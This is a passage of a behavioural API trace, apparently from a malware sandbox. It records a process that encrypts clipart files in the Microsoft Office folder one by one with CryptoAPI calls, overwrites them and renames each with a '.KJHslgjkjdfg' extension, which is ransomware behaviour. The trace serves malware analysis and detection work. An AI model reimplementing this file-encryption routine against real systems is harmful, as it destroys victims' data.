returned 1 [0206.573] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaabb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309664.JPG", cAlternateFileName="")) returned 1 [0206.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.575] GetProcessHeap () returned 0x2ef0000 [0206.575] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.575] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.575] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0206.618] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.618] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.618] GetProcessHeap () returned 0x2ef0000 [0206.618] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.618] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.618] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.619] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.619] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.619] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.619] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.619] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.619] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.619] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.619] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.619] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.619] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaabb, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xaabb, lpOverlapped=0x0) returned 1 [0206.670] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xaac0, dwBufLen=0xaac0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xaac0) returned 1 [0206.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.670] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xaac0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xaac0, lpOverlapped=0x0) returned 1 [0206.671] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.671] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xab94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.671] SetEndOfFile (hFile=0x130) returned 1 [0206.674] GetProcessHeap () returned 0x2ef0000 [0206.674] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.674] GetProcessHeap () returned 0x2ef0000 [0206.674] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.674] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg.kjhslgjkjdfg")) returned 1 [0206.676] CloseHandle (hObject=0x130) returned 1 [0206.676] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309705.JPG", cAlternateFileName="")) returned 1 [0206.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.677] GetProcessHeap () returned 0x2ef0000 [0206.677] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.677] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.677] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0206.685] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.685] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.685] GetProcessHeap () returned 0x2ef0000 [0206.685] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.685] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.685] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.685] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.686] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.686] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.686] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.686] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.686] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.686] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.686] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4ada, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4ada, lpOverlapped=0x0) returned 1 [0206.687] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4ae0, dwBufLen=0x4ae0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4ae0) returned 1 [0206.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.688] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4ae0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4ae0, lpOverlapped=0x0) returned 1 [0206.688] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.688] SetEndOfFile (hFile=0x130) returned 1 [0206.690] GetProcessHeap () returned 0x2ef0000 [0206.690] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.691] GetProcessHeap () returned 0x2ef0000 [0206.691] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg.kjhslgjkjdfg")) returned 1 [0206.692] CloseHandle (hObject=0x130) returned 1 [0206.692] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b95a400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b95a400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309902.WMF", cAlternateFileName="")) returned 1 [0206.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.694] GetProcessHeap () returned 0x2ef0000 [0206.694] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.694] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.694] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.694] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.694] GetProcessHeap () returned 0x2ef0000 [0206.694] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.694] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.694] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.694] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.709] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.709] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.709] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.710] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.710] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.710] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.710] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a00, lpOverlapped=0x0) returned 1 [0206.729] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a00, dwBufLen=0x1a00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a00) returned 1 [0206.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.729] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a00, lpOverlapped=0x0) returned 1 [0206.730] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.730] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.730] SetEndOfFile (hFile=0x130) returned 1 [0206.732] GetProcessHeap () returned 0x2ef0000 [0206.732] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.732] GetProcessHeap () returned 0x2ef0000 [0206.732] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.732] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf.kjhslgjkjdfg")) returned 1 [0206.734] CloseHandle (hObject=0x130) returned 1 [0206.734] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cc6d100, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5cc6d100, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309904.WMF", cAlternateFileName="")) returned 1 [0206.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.735] GetProcessHeap () returned 0x2ef0000 [0206.735] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.735] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.735] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0206.743] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.743] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.743] GetProcessHeap () returned 0x2ef0000 [0206.743] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.743] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.743] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.743] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.743] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.743] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.743] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.743] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.744] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.744] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.744] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x20e4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x20e4, lpOverlapped=0x0) returned 1 [0206.745] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x20f0) returned 1 [0206.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.745] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x20f0, lpOverlapped=0x0) returned 1 [0206.745] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.745] SetEndOfFile (hFile=0x130) returned 1 [0206.747] GetProcessHeap () returned 0x2ef0000 [0206.747] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.748] GetProcessHeap () returned 0x2ef0000 [0206.748] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf.kjhslgjkjdfg")) returned 1 [0206.749] CloseHandle (hObject=0x130) returned 1 [0206.749] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea87400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ea87400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x2b38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309920.WMF", cAlternateFileName="")) returned 1 [0206.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.750] GetProcessHeap () returned 0x2ef0000 [0206.750] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.751] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.751] SetFilePointerEx (in: hFile=0x130, 